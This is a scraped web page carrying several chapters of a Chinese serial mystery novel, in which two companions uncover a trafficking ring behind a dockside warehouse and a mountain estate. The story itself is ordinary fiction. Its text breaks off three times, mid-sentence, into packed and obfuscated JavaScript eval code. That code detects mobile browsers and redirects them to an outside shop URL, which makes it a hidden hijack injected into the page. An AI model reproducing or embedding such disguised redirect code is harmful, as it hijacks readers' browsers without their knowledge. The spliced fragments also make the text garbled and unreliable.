“走吧。”谢云辞推开窗,确认四下无人,率先跃出,轻巧落在街对面的屋顶上。江清砚紧随其后,动作虽不如谢云辞迅捷,但胜在轻巧无声,落地时只带起几片碎瓦。 两人在屋顶上疾行,借着月色和街巷的阴影,很快接近码头区。 越靠近码头,空气中的气味越复杂——河水的腥气、货物的霉味、还有码头小摊传来的食物香气,混杂在一起。但江清砚敏锐地嗅到了一丝异常:在丙字仓方向,飘来一股淡淡的、类似药材的苦涩味。 他在一处屋檐后停下,示意谢云辞。两人伏低身体,看向前方的丙字仓。 那是一座占地颇广的青砖仓库,墙高逾丈,只有一扇厚重的铁门,门上挂着一把大铜锁。仓库两侧是高墙,后墙紧邻废弃船坞,墙上爬满枯藤。整个仓库黑漆漆的,没有灯火,也无人声,静得像座坟墓。 但江清砚的目光,落在了仓库屋顶。 那里,有个人影。 很模糊,几乎与夜色融为一体,但借着月光,能看出那人影蹲在屋脊后,一动不动,像是在放哨。 谢云辞也看到了。他比了个手势,示意自己绕过去解决。江清砚却轻轻摇头,从怀中取出一个小皮囊,倒出些粉末在手心——那是曼陀罗花粉和醉鱼草粉的混合物,他出发前特意配的。 他捏起一撮,食指与拇指一捻,粉末化作细尘,顺着夜风飘向屋顶。 片刻后,那人影晃了晃,软软倒下。 “走。”江清砚低声道,两人如狸猫般滑下屋顶,悄无声息地落在丙字仓墙根下。 谢云辞检查了铁门上的铜锁——锁是新换的,但锁眼边缘有细微的磨损痕迹,显然近期频繁开合。他从袖中取出一根细铁丝,探入锁眼,屏息片刻,“咔哒”一声轻响,锁开了。 两人闪身入内,反手掩上门。 仓库里一片漆黑,只有几缕月光从高处的气窗透入,勉强照亮堆积如山的货箱。空气沉闷,弥漫着那股苦涩的药材味,还混着一丝……若有若无的血腥气。 江清砚点亮火折子,昏黄的光晕下,看清了仓库的全貌。 这里显然已废弃多时,地面积着厚厚的灰尘,墙角结满蛛网。但那些货箱却堆得整齐,箱盖上一尘不染,显然是近期才搬进来的。 他走到最近的一摞货箱前,箱盖上没有烙印,只贴着一张褪色的封条,上面写着模糊的字迹:“苏绣五十匹”。 江清砚撕开封条,撬开箱盖——里面根本不是苏绣,而是码放整齐的账簿,一本又一本,封面泛黄,墨迹陈旧。 他随手拿起一本翻开。这账簿记录的是漕运往来的明细:某年某月某日,某船载某货,从某地到某地,经手人是谁,抽成多少……字迹工整,条目清晰,是标准的官账。 但翻到后面几页,记录就变了。 不再是漕运,而是“特殊货物”:“文货几件,送往某处”,“武货几件,交接某人”,后面跟着银钱数目,还有简单的评价:“合格”、“需调教”、“废品”。 江清砚手指停在“废品”两个字上,指尖冰凉。 “废品”后面,有时会加注:“已处理”。 怎么处理? 他没敢深想。 “这里。”谢云辞在仓库深处唤道。 江清砚走过去,见谢云辞站在一堵墙前。那墙看似普通,但谢云辞的手在墙砖上摸索片刻,轻轻一按——一块砖向内凹陷,发出“咔”的轻响。 墙壁悄无声息地滑开一道缝,仅容一人侧身通过。缝隙里透出微弱的光,还有……更浓的苦涩药味。 两人对视一眼,谢云辞率先侧身进入,江清砚紧随其后。 墙后是一条向下的石阶,很深,尽头有灯火。石阶两侧墙壁湿滑,长满青苔,空气阴冷潮湿,像是通往地底。 走了约莫三四十级,眼前豁然开朗。 那是一个巨大的地下空间,显然是利用废弃的船坞改造的。空间中央挖了个方池,池水浑浊,泛着诡异的暗绿色,水面漂浮着些不知名的草药残渣——苦涩味就是从这里散发出来的。 池边摆着几个大木桶,桶里泡着些布料,看颜色和质地,像是……官差的制服?只是颜色有些怪异,染得深浅不一。 而最触目惊心的,是空间另一侧。 那里立着十几个木架,每个木架上都绑着一个人形草偶,草偶穿着各式各样的衣服——书生袍、工匠短打、商贾锦缎,甚至还有女子的襦裙。草偶的脸上贴着粗糙的面具,面具画着不同的五官,有的清秀,有的粗犷,有的年轻,有的苍老。 像是……在练习易容? 江清砚走到一个草偶前,伸手摸了摸那面具——质地柔韧,像某种特制的胶皮,边缘与草偶头部贴合得严丝合缝,若不细看,几可乱真。 而草偶身上穿的书生袍,袖口内侧绣着一个小小的标记:观澜。 观澜书院。 江清砚的手颤抖了一下。 “他们在这里……”他喃喃道,“训练那些被掳的人,教他们改口音,学礼仪,甚至……易容。然后换上特定身份的衣物,送进京城,送进书院,送进……” 送进那些达官显贵的府邸。 送进科举考场。 送进未来的官场。 谢云辞走到池边,俯身查看那些泡着的布料。他用匕首挑起一块,在灯下细看——布料是官差的褐色劲装,但颜色染得不对,真正的官差服色更深,更沉稳。 “他们在仿制官服。”谢云辞声音冰冷,“但火候不够,染坏了。” 江清砚走过来,接过布料,凑近闻了闻:“用的是廉价的靛蓝和茜草,难怪色不正。”他顿了顿,“他们在练习。练习如何伪造身份,如何混入各个阶层。” 他环视这个地下空间,寒意从脚底升起。 这不仅仅是一个转运点,这是一个“培训基地”。水鬼帮掳来人,在这里进行初步的“加工”:改掉口音,学会基本礼仪,甚至练习易容。合格了,才送出去进行下一步的“深造”。 而那些“废品”…… 江清砚的目光投向空间最深处。那里有一扇锈蚀的铁门,门上挂着一把沉重的大锁。 他走过去,谢云辞紧跟在后。铁门很厚,门缝里透出一股难以形容的腐臭味,像是肉类腐烂混合着药味,令人作呕。 谢云辞用铁丝开锁,这次费了些功夫。锁开后,他用力推开铁门—— 门内是个狭窄的石室,没有窗,只有一盏油灯在墙角摇曳。石室里空空荡荡,只在正中央摆着一张石台。 石台上,躺着一具尸体。 不,不止一具。石台下的阴影里,还堆着几具,都用麻袋草草裹着,露出腐烂的手脚。 江清砚捂住口鼻,强忍着呕吐的冲动,走近石台。台上的尸体是个年轻男子,面容已开始腐烂,但能看出生前清秀。他赤裸着上身,胸口有一道狰狞的伤口,从锁骨直划到下腹,皮肉外翻,露出森森白骨。 而最诡异的是,伤口边缘的皮肉上,布满了细密的针脚——像是被人剖开后,又仔细缝合过。 “他们在……练习解剖。”江清砚声音发颤,“或者说,练习……外科手术?” 谢云辞走到石台边,俯身细看。他伸手,轻轻拨开尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灯笼的光照亮仓库,也照亮了他们的脸——都是精壮的汉子,眼神凶狠,腰间佩刀。为首的是个疤脸大汉,一进门就皱眉:“什么味儿?谁又乱动药了?” “老大,可能是地下室飘上来的。”一人答道,“要不要下去看看?” 疤脸大汉摆摆手:“算了,赶紧搬东西。上头说了,蓟州这边不能再留痕迹。今晚搬完,明天一把火烧了这里。” 几人走向仓库深处,开始搬运那些货箱。箱子很沉,两人抬一个都吃力,里面装的显然不只是账簿。 江清砚和谢云辞屏住呼吸,藏在货箱的阴影里。货箱逐渐被搬空,他们的藏身处眼看就要暴露。 谢云辞握紧匕首,对江清砚使了个眼色——准备动手。 就在这时,仓库外忽然传来尖锐的哨声! “有情况!”疤脸大汉厉喝,“抄家伙!” 黑衣人们立刻丢下货箱,拔出刀,冲出仓库。外面传来打斗声、呼喝声,还有兵刃交击的脆响! 江清砚和谢云辞对视一眼,悄悄探出头。只见院子里,陈岩带着十几个衙役,正与黑衣人战在一处!刀光剑影,杀声震天! “是陈捕头!”江清砚低声道。 谢云辞点头:“他是不放心,跟来了。”他看了看战局,“趁乱,走!” 两人趁着夜色和混乱,从仓库侧面的阴影溜出,几个起落翻上墙头,消失在黑暗的街巷中。 身后,丙字仓的打斗声渐渐远去。 回到客栈,关上房门,江清砚才松了口气,靠着墙缓缓滑坐在地,脸色苍白如纸。这一夜的惊险,已耗尽了他本就所剩无几的体力。 谢云辞倒了碗水递给他,又取出心疾药丸。江清砚含了药,闭目调息片刻,呼吸才渐渐平稳。 “那布料……”谢云辞看向他怀中。 江清砚取出那块从草偶身上撕下的衣角,在灯下展开。“观澜”二字,清晰刺目。 “明日一早,我们启程进京。”他轻声道,“这些线索,必须送到刑部。观澜书院……必须查。” 谢云辞看着他苍白却坚定的脸,点了点头。 窗外,远处码头的打斗声已平息。夜空中,一轮冷月高悬,照着这座看似平静、实则暗流汹涌的小镇。 而前路,还有更深的黑暗在等待。 10. 第 10 章 第十章毒医显威 天未亮,客栈后院的马厩里传来低低的嘶鸣。 江清砚系紧行囊,将最后几瓶药塞进怀里,转身时脚下一个踉跄。谢云辞伸手扶住他胳膊,触手一片冰凉——这是心疾发作的前兆。 “还能撑吗?”谢云辞皱眉问。 “能。”江清砚稳住身形,从怀中摸出玉瓶,倒出一粒赤色药丸含下。片刻后,脸上才恢复些许血色,“必须在官府封锁码头前离开清河镇。陈捕头昨夜闹出那么大动静,今日必有大队官差搜查,我们留下反而说不清。” 谢云辞点头,牵过马匹。两人悄无声息地出了客栈后门,沿着背街小巷,朝镇北方向疾行。 晨雾浓重,青石板路上湿漉漉的,马蹄踏过只发出沉闷的“嘚嘚”声。街道两侧的店铺还未开门,只有几处早点摊子升起袅袅炊烟,摊主揉着惺忪睡眼,看着这两个黎明策马而过的身影,嘟囔了句“赶着投胎”。 出镇北门时,守门的兵丁还在打哈欠,瞥了眼谢云辞递上的蓟州官府通行文书,懒洋洋地挥手放行。马匹冲出城门,踏上北去的官道。 天色渐明,晨雾散了些,露出道旁萧瑟的初春景色。官道上已有零星车马,多是赶早路的商贩。江清砚勒马缓行,让过一队满载货物的牛车,目光却始终留意着后方——没有追兵,至少目前没有。 行出约莫十里,前方出现一处茶棚,茅草搭的简陋棚子,门口挑着面褪色的“茶”字旗。棚子里坐着三两个歇脚的旅人,正就着热茶啃干粮。 “歇会儿。”谢云辞道,他已注意到江清砚握缰的手在微微发抖。 两人下马,将马拴在棚外的木桩上。茶棚老板是个干瘦的老头,端上两碗粗茶,又切了一碟咸菜。茶水浑浊,但热气腾腾,喝下去总算驱散了些寒意。 江清砚小口啜着茶,目光扫过棚内——除了他们,还有三个旅人:一个背着药箱的走方郎中,一个挑着担子的货郎,还有个戴斗笠的汉子,独自坐在角落,面前摆着碗茶,却一口未动。 那汉子身形魁梧,虽穿着普通布衣,但坐姿笔挺,双手放在桌上,虎口处有厚茧——是常年握刀留下的。斗笠压得很低,看不清脸,但江清砚能感觉到,对方的目光正透过笠沿,落在他们身上。 不,是落在谢云辞身上。 他不动声色地用脚尖碰了碰谢云辞。后者会意,端起茶碗的手微微一顿,随即若无其事地继续喝茶,但身体已进入戒备状态。 走方郎中喝完茶,背起药箱走了。货郎也挑起担子,晃晃悠悠地上了官道。茶棚里只剩下他们和那个戴斗笠的汉子。 空气忽然变得粘稠。 棚外的风吹得“茶”字旗哗啦作响,远处传来几声乌鸦的啼叫,凄厉刺耳。 谢云辞放下茶碗,碗底与木桌磕碰,发出清脆的一声“嗒”。 几乎同时,戴斗笠的汉子动了。 他身形如猎豹般暴起,斗笠飞起,露出一张满是刀疤的脸,眼神凶戾如狼。手中不知何时已多了一柄短刀,刀光如电,直刺谢云辞咽喉! 太快了! 但谢云辞更快。 在刀光及体的前一瞬,他整个人向后仰倒,连人带凳翻倒在地,险险避过刀锋。同时右脚踢出,正中汉子手腕! “当啷”一声,短刀脱手飞出,插在棚柱上,刀柄兀自震颤。 汉子闷哼一声,却不退反进,左手成爪,抓向谢云辞面门!这一抓势大力沉,指风凌厉,竟带着破空之声! 谢云辞就地一滚,避开这一抓,翻身站起时匕首已出鞘。两人在狭窄的茶棚内过招,拳脚相交,金铁交鸣,眨眼间已交手十余招。 江清砚退到棚边,手已摸向怀中——那里有淬毒的钢针。但他没有立刻出手,因为就在谢云辞与汉子缠斗时,茶棚外又出现了三个人。 三个黑衣蒙面人,手持长刀,呈品字形封住了茶棚出口。 不是巧合。 这是埋伏。 江清砚的心沉了下去。对方显然早有准备,甚至算准了他们会在茶棚歇脚。 “谢云辞!”为首的黑衣人嘶声喝道,“交出账本,饶你不死!” 谢云辞一脚踢开汉子的擒拿,冷笑道:“想要账本?自己来拿。” 话音未落,三个黑衣人同时扑入棚内!刀光交织成网,封死了所有退路! 茶棚老板早已吓得缩在灶台后,瑟瑟发抖。江清砚背靠棚柱,手指扣住三枚钢针,却迟迟没有射出——对方四人配合默契,攻势如潮,他贸然出手,很可能误伤谢云辞。 谢云辞以一敌四,虽不落下风,但渐渐被逼到棚角。茶棚空间狭小,他的匕首在长刀围攻下渐显局促。忽然,一个黑衣人虚晃一刀,另一人趁机从侧翼突进,刀锋直取谢云辞肋下! 避无可避! 就在这千钧一发之际,江清砚动了。 他没有射钢针,反而从怀中掏出一个小瓷瓶,用力砸向地面! 瓷瓶碎裂,一股淡紫色的烟雾“噗”地爆开,迅速弥漫整个茶棚!烟雾带着刺鼻的辛辣味,吸入鼻腔的瞬间,四个黑衣人同时感到双眼刺痛,涕泪横流! “闭气!”那疤脸汉子厉喝,急急后退。 但已经晚了。 江清砚等的就是这个时机。他屏住呼吸,手指连弹,四枚钢针破空而出,精准地射入四个黑衣人的肩井穴! 针上淬的是加强版的“松筋散”,中针者瞬间四肢麻痹,握不住刀,“哐当”声接连响起,四柄长刀落地。 谢云辞抓住机会,匕首连闪,四人手腕俱被划开一道口子,虽不深,但足够让他们暂时失去战力。 疤脸汉子反应最快,钢针入体的瞬间,他已运功逼毒,竟硬生生稳住身形,反手一掌拍向江清砚! 这一掌势若奔雷,若是拍实了,以江清砚的体魄,不死也残! 谢云辞目眦欲裂,想扑过去已来不及。 江清砚却异常平静。他不闪不避,反而迎着掌风,从袖中甩出一物——那是个巴掌大的皮囊,囊口敞开,一片白色粉末迎面洒向疤脸汉子! 汉子本能闭眼挥袖格挡,却还是吸入了一些。粉末入鼻的瞬间,他脸色骤变:“石灰?!” 不,不只是石灰。石灰里混了曼陀罗花粉和醉鱼草粉,还有……某种刺鼻的辛辣粉末。 汉子的眼睛瞬间红肿如桃,视线模糊,呼吸也困难起来。他踉跄后退,嘶声吼道:“你……你用毒!” 江清砚退后两步,靠住棚柱,脸色苍白,额角冷汗涔涔,却仍平静地说:“不是毒。是石灰混合辣椒粉,再加了些许麻痹药物。洗洗就好,死不了人。” 他顿了顿,轻声道:“但若继续运功,药力随气血运行加快,麻痹效果会倍增。阁下还是……别动为好。” 疤脸汉子死死瞪着他,眼睛红得滴血,却真的不敢再动。他能感觉到,四肢的麻痹感正在蔓延,若强行运功,恐怕真要瘫在这里。 茶棚里一时死寂。 四个黑衣人瘫倒在地,动弹不得。疤脸汉子靠着棚柱,强撑着不让自己倒下。谢云辞持匕戒备,目光如刀。 江清砚从怀中又取出一个小瓶,倒出些淡绿色的药膏,抹在自己和谢云辞的鼻子下方——那是解药,能抵御烟雾的刺激。 “你们是谁派来的?”谢云辞冷声问疤脸汉子。 汉子咬紧牙关,不说话。 “不说也无妨。”江清砚走上前,蹲下身,开始检查那四个黑衣人的衣领袖口、鞋底纹路,甚至翻看他们的手掌。 他的动作很仔细,像是在做学问。片刻后,他站起身,看向疤脸汉子:“你们不是水鬼帮的人。” 汉子瞳孔微缩。 “水鬼帮的人,虎口和食指的茧子分布,因常年用船篙、拉纤,与用刀的人不同。”江清砚缓缓道,“而且,你们靴底的泥,是北地特有的红粘土。蓟州码头一带是黑土,你们……从北边来。” 他顿了顿,声音更轻: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江清砚摇头:“只是以防万一。”他望向北方,目光悠远,“从老君洞出来,我就知道,这趟进京不会太平。水鬼帮的案子牵扯太大,有人不想让账本到京城。” 他顿了顿,声音更轻:“刚才那些人,训练有素,配合默契,不是江湖草莽。恐怕……真如我们所料,牵扯到官面上的人物了。” 谢云辞沉默片刻,忽然道:“你的身体……还能撑多久?” 这话问得直接,江清砚却笑了。那笑意很淡,却莫名有些苍凉。 “到京城,够了。”他说,“到了京城,把账本交出去,我的事就了了。至于之后……” 他没说下去,但谢云辞明白。 之后是生是死,是福是祸,谁也不知道。 “你不会死。”谢云辞忽然说,声音很沉,“我答应过护你周全,就一定会做到。” 江清砚看着他,许久,轻轻点了点头。 “我信。” 两匹马并辔而行,蹄声嘚嘚,踏碎了官道上的寂静。晨雾散尽,朝阳升起,将两人的影子长长地投在黄土路上。 前方还有三百里路,还有数不清的凶险。 但这一刻,至少他们不是独行。 江清砚从怀中取出水囊,喝了一口,又摸出药丸含下。苦涩的药味在口中化开,他却忽然想起昨夜在丙字仓地下看到的那些药瓶,那些尸体,那些草偶…… 观澜书院。 那两个字像针,扎在他心头。 若真如他所料,京城那个以清流自诩的书院,竟是这桩惊天大案的终点…… 那这科举,这官场,这天下,还有多少不为人知的黑暗? 他不敢深想,却又不得不想。 因为前方,就是京城了。 而有些真相,必须有人去揭开。 哪怕代价是粉身碎骨。 “驾!” 马鞭扬起,马蹄加快。 官道在眼前延伸,仿佛没有尽头。 11. 第 11 章 第十一章顺藤摸瓜 黄昏时分,官道分岔。一边是宽阔平整的驿道,直通京城南门;另一边是狭窄的土路,蜿蜒没入一片丘陵林地,路牌上模糊地写着“鹿鸣坡”。 谢云辞勒住马,看向江清砚。 “走小路。”江清砚没有犹豫,指着土路,“追踪香的气味往这边去了。” 从茶棚离开后,他们并未全速赶往京城,而是不紧不慢地缀在那伙黑衣人后方。江清砚隔一段时间就下马,俯身查看地面、草丛,偶尔捏起一撮土在鼻尖轻嗅——追踪香的气味虽淡,却逃不过他刻意训练过的嗅觉。 谢云辞看着他将马牵上土路,忍不住道:“你真要追过去?” “不入虎穴,焉得虎子。”江清砚翻身上马,回头看他,“茶棚那伙人知道账本的事,且是京城口音。若能找到他们的落脚点,或许能顺藤摸瓜,揪出背后的主使。” “太危险。”谢云辞皱眉,“你的身体……” “正是因为危险,才更要去。”江清砚轻声道,“若等我们进了京城,他们藏在暗处,我们在明处,那才是真正的危险。” 他顿了顿,目光投向土路深处:“况且……陈捕头他们清剿老君洞的消息,恐怕已经传到京城了。幕后之人此刻必然慌乱,正是抓破绽的时候。” 谢云辞沉默了。他知道江清砚说得对,可看着那张苍白得近乎透明的脸,心头那股异样的感觉又翻涌上来。 这个书生,对自己太狠了。 “走吧。”他终究还是调转马头,跟了上去,“跟紧我,别逞强。” 土路难行,坑洼不平,两旁的树木越来越密,遮天蔽日。越往里走,人烟越稀,偶尔能看到几处废弃的窝棚,门前荒草丛生,显然久无人居。 江清砚忽然勒马停下。 “气味到这里……散了。”他下马,蹲在路中央,手指轻触地面。那里有几道凌乱的车辙印,还有杂沓的马蹄印,显然是多人多马在此停留过。 他沿着车辙走向路旁,拨开一丛半人高的蒿草——后面竟是一条隐蔽的小径,仅容一车通过,蜿蜒伸向山坡背面。 “他们换车了。”江清砚站起身,拍了拍手上的土,“追踪香的气味在马车上,所以他们弃马换车,从这里走了。” 谢云辞走到小径入口,仔细看了看车辙的深浅和宽度:“是轻便的马车,载重不大,但车轮很新,是京城车行常用的制式。” 两人对视一眼,都看到了对方眼中的凝重。 能随时调动马车接应,且车辙通往隐蔽小径——这不是临时起意的逃亡,而是有预谋、有组织的撤退。 “继续追?”谢云辞问。 江清砚点头,却从怀中取出一个小布包,递给谢云辞:“把这个撒在马蹄上。” 谢云辞打开布包,里面是些淡黄色的粉末,气味刺鼻:“这是什么?” “马匹讨厌的味道,能掩盖我们的气味。”江清砚翻身上马,“以防他们有猎犬。” 两人牵着马走进小径。小径极窄,两侧树木枝杈横生,不时刮擦衣袍。走了约莫一炷香时间,前方豁然开朗——是一片不大的谷地,谷地中央有座破败的山神庙,庙前停着一辆轻便马车,马已卸下,拴在庙旁的老槐树上。 庙门虚掩,里面没有灯火,也没有人声。 谢云辞按住江清砚,自己悄无声息地靠近庙门,侧耳倾听片刻,轻轻推开一条缝。 庙里空空荡荡,山神像倒在地上,碎成几块。地上有凌乱的脚印,还有……几滩暗红色的血迹,尚未完全干涸。 “人走了。”谢云辞低声道,“但走得很仓促,有伤者。” 江清砚走进来,蹲下查看那些血迹。血迹分布散乱,有滴落的,有拖曳的,还有喷溅状的。他从袖中取出银针,沾了点血,凑近鼻尖嗅了嗅。 “是茶棚那伙人。”他轻声道,“血里有追踪香的气味。” 他站起身,环视庙内。除了血迹和脚印,没有其他线索。但当他走到墙角时,脚下忽然踩到了什么硬物。 是一块碎瓷片。 不是普通的碗碟,而是上好的青瓷,釉色温润,边缘有金线勾勒的缠枝莲纹——这是官窑的制式,寻常人家用不起。 江清砚捡起瓷片,对着窗外透进的最后一点天光细看。瓷片背面,有个极小的印记,像是烧制时留下的。 他取出火折子点亮,凑近细看。 那印记……是一朵莲花。 莲花印记。 江清砚的手猛地一颤。 他记得这个印记。三年前,在润州,他曾在一个人的随身玉佩上见过——那人当时途经润州,是京城来的官员,说是督查漕运,却在暗地里查访一桩旧案。 那人姓周,叫什么名字他已记不清,只记得那人腰间玉佩上的莲花印记,与眼前这块瓷片上的一模一样。 而那位周大人,后来……据说在回京途中遇匪身亡,尸骨无存。 “你认识这个印记?”谢云辞察觉他神色有异。 江清砚沉默良久,才轻声道:“三年前,有个京城来的官员死在回京路上,身上就带着有这个印记的东西。” “什么官?” “好像是……都水司的郎中。”江清砚缓缓道,“负责漕运稽查。” 都水司。 水运司裁撤后,接管漕运的衙门。 谢云辞眼神骤冷:“所以,水鬼帮的案子,都水司可能也牵扯其中?” “不止。”江清砚将瓷片小心收起,“那位周大人当年查的,就是漕运上的蹊跷。他死后不久,水鬼帮就开始活跃。” 太多巧合了。 庙外忽然传来乌鸦的啼叫,凄厉刺耳。天色彻底暗下来,谷地里一片漆黑,只有山风吹过树梢的呜咽声。 “此地不宜久留。”谢云辞拉起江清砚,“先离开。” 两人退出山神庙,牵马往回走。小径上漆黑如墨,只能借着微弱的月光辨认道路。走到一半时,江清砚忽然停住脚步。 “等等。”他低声道。 “怎么?” “有声音。” 谢云辞屏息细听——除了风声,似乎确实有隐约的……车轮声?还有马蹄声?从谷地另一个方向传来,越来越近。 “不止一辆车。”谢云辞脸色微变,“快躲起来!” 两人拉着马匹,迅速躲进路旁的密林。刚藏好,就见一队车马从山神庙方向驶来——三辆马车,都是黑漆车篷,没有挂灯笼,在夜色中像幽灵般悄然滑行。 每辆马车都配有双马,车夫戴着斗笠,看不清脸。马车驶过他们藏身的树林时,江清砚闻到了一股熟悉的气味。 药味。 浓烈的、苦涩的药材味,和他之前在丙字仓闻到的如出一辙。 他心中一动,从怀中取出一个小瓷瓶,倒出些粉末在手心,迎风一扬——那是他特制的显踪粉,遇药味会变成淡蓝色。 粉末飘散,在马车经过的路径上,果然泛起星星点点的蓝光。 “他们在运药。”江清砚压低声音,“大量的药。” 谢云辞盯着那三辆马车,手按在腰间匕首上:“跟上去看看?” 江清砚犹豫了一瞬,点头:“小心些,别靠太近。” 两人牵着马,远远跟在马车队后面。马车队走得不快,似乎对这条路很熟悉,七拐八绕,竟出了谷地,上了另一条更隐蔽的小路。 这条小路更难走,几乎是贴着山壁开凿出来的,一侧是峭壁,另一侧是深涧。月光下,涧水泛着惨白的光,深不见底。 马车队在这样的险路上依然平稳前行,显然车夫都是老手。 走了约莫半个时辰,前方出现亮光。 那是一座建在山坳里的庄园,占地不小,围墙高耸,隐约能看到里面的楼阁轮廓。庄园大门紧闭,门上挂着两盏白纸灯笼,灯笼上写着两个字: 药庐。 马车队在大门前停下。一个车夫上前叩门,三长两短。门开了一道缝,里面有人低声交谈了几句,随即大门缓缓打开,马车鱼贯而入。 江清砚和谢云辞藏在一块巨石后,远远看着庄园。借着灯笼的光,能看到庄园门楣上挂着一块匾额,但离得太远,看不清字。 “药庐……”江清砚喃喃道,“蓟州地界,什么时候有这么一座庄园?” 谢云辞摇头:“看规制,不像普通药商的山庄。围墙太高,守卫太严。” 正说着,庄园侧门忽然打开,几个人抬着几个大木箱出来,装上一辆早已等候在那里的板车。木箱很沉,抬箱的人脚步沉重。 板车装好后,迅速驶离庄园,消失在另一条小路上。 “他们在转移东西。”谢云辞低声道,“恐怕是察觉了什么。” 江清砚盯着庄园大门,许久,忽然道:“你在这里等我。” “你要做什么?” “进去看看。” 谢云辞一把拉住他:“你疯了?里面什么情况都不知道!” “所以才要进去看。”江清砚挣脱他的手,神色异常平静,“这座庄园建在这种地方,守卫森严,还深夜运药……绝不只是药商的山庄。若它与水鬼帮有关,里面必有线索。” “我跟你一起去。” “不。”江清砚摇头,“你留下接应。若我半个时辰没出来,你就走,去京城报信。” 他说得斩钉截铁,谢云辞却听出了话里的决绝——这个书生,早就做好了回不去的准备。 “江清砚。”谢云辞第一次连名带姓叫他,“你的命是我救的,没有我的允许,你不准死。” 江清砚怔了怔,随即笑了。那笑意很浅,在月光下却格外清晰。 “好。”他说,“我一定活着出来。” 他从怀中取出几个小瓶,一一系在腰间,又检查了一遍袖中的钢针和毒粉。最后,他从靴筒里抽出一把短匕——那是谢云辞给他的,刀身只有三寸,却锋利异常。 “等我。” 话音未落,他已如狸猫般滑下山坡,借着夜色和草木的掩护,悄无声息地靠近庄园围墙。 谢云辞看着他清瘦的背影消失在黑暗中,握紧了手中的匕首。 他从未如此紧张过— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863487|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —哪怕是刀头舐血的那些年,哪怕是面对生死关头。 这个认识不到十日的书生,不知何时,已在他心里占了一块地方。 一块连他自己都未曾察觉的、柔软的地方。 庄园围墙下,江清砚仰头看了看墙高——约莫两丈,砖缝密实,不好攀爬。但他早有准备,从腰间取出一捆细绳,绳头系着个三爪钩。 他将钩子甩上墙头,试了试牢固程度,随即借力上攀。动作虽不如谢云辞那般矫健,却也轻盈敏捷,几个呼吸间已翻上墙头,伏身观察院内。 庄园里灯火稀疏,只有几处楼阁亮着光。院子里堆着许多晾晒药材的木架,空气中弥漫着浓重的药味。几个仆役打扮的人在院子里走动,手里提着灯笼,似乎在巡查。 江清砚观察片刻,看准一处阴影,滑下墙头,落地无声。 他贴着墙根,迅速靠近最近的一处亮灯的建筑——那是一座两层的小楼,窗纸透出昏黄的光,隐约有人影晃动。 他绕到楼后,见二楼窗户虚掩着,便攀着外墙的砖缝,悄无声息地爬上去,从窗缝向里望去。 屋里是个书房,布置简朴,只有一桌一椅,两个书柜。桌边坐着个中年文士,正就着油灯翻阅一本账簿。文士面容清癯,穿着半旧的青衫,看起来像个教书先生。 但江清砚的目光,落在了他手中的账簿上。 那账簿的封皮,和他在丙字仓看到的,一模一样。 文士翻着账簿,眉头紧皱,偶尔提笔在上面勾画。忽然,他停下笔,抬头看向门口:“进来。” 门被推开,一个管事模样的人躬身进来:“先生,药都装车送走了。老君洞那边的货……也处理干净了。” 文士点点头,沉吟片刻:“京城那边有什么消息?” “陈捕头把账本的事报上去了,但……谢云辞和那个书生还没到京城。”管事压低声音,“茶棚那边失手了,疤脸他们受了伤,暂时藏起来了。” 文士脸色一沉:“废物!连两个人都拿不下!” “那个书生……不简单。”管事声音发颤,“会用毒,会使机关,疤脸他们栽在他手里了。” 文士沉默良久,忽然冷笑一声:“一个病秧子,能翻起多大浪?传令下去,在他们进京前,必须截住!账本绝不能到刑部!” “是。”管事应声,却又犹豫道,“可是先生……观澜书院那边催得紧,要我们月底前再送一批‘文货’过去。老君洞被端了,货源……” “货源的事我来想办法。”文士摆摆手,“你先去安排截杀的事。记住,要做得干净,像意外。” 管事躬身退下。文士重新拿起账簿,却已无心再看,起身在房中踱步,神色焦躁。 窗外的江清砚屏住呼吸,心脏狂跳。 观澜书院……果然牵扯其中! 他正想再听听,楼下忽然传来脚步声,还有仆役的惊呼:“有贼!墙上有人!” 糟了! 江清砚心头一凛,立刻松手,从二楼一跃而下!落地时一个翻滚卸去力道,却不料牵动了心疾,胸口一阵剧痛,眼前发黑。 “在那边!”几个护院提着棍棒冲过来。 江清砚强撑起身,朝着来时方向狂奔。身后脚步声越来越近,呼喝声四起,整个庄园的灯火都亮了起来! 他跑到围墙下,正要甩出钩索,忽然一道黑影从墙头跃下,一把抓住他的手腕! “走!” 是谢云辞! 谢云辞拉着他,几步助跑,竟直接带着他翻上墙头!两人落在墙外,撒腿就跑! 身后传来开门声、马蹄声,庄园的护院骑马追出来了! “上马!”谢云辞吹了声口哨,两匹马从树林中奔出。两人翻身上马,纵马狂奔! 夜色中,马蹄如雷,惊起林间宿鸟。 身后追兵紧追不舍,箭矢破空之声不绝于耳! 江清砚伏在马背上,胸口剧痛如绞,眼前阵阵发黑。但他死死咬住嘴唇,不让自己晕过去。 不能在这里倒下。 京城还没到,账本还没交,真相还没揭开…… 他不能倒在这里! “坚持住!”谢云辞的声音在耳边响起,带着他从未听过的焦灼,“前面有岔路,我们分开走!” “不……”江清砚艰难开口,“一起……” “听话!”谢云辞厉喝,猛地一鞭抽在江清砚的马臀上,“往左走,我引开他们!” 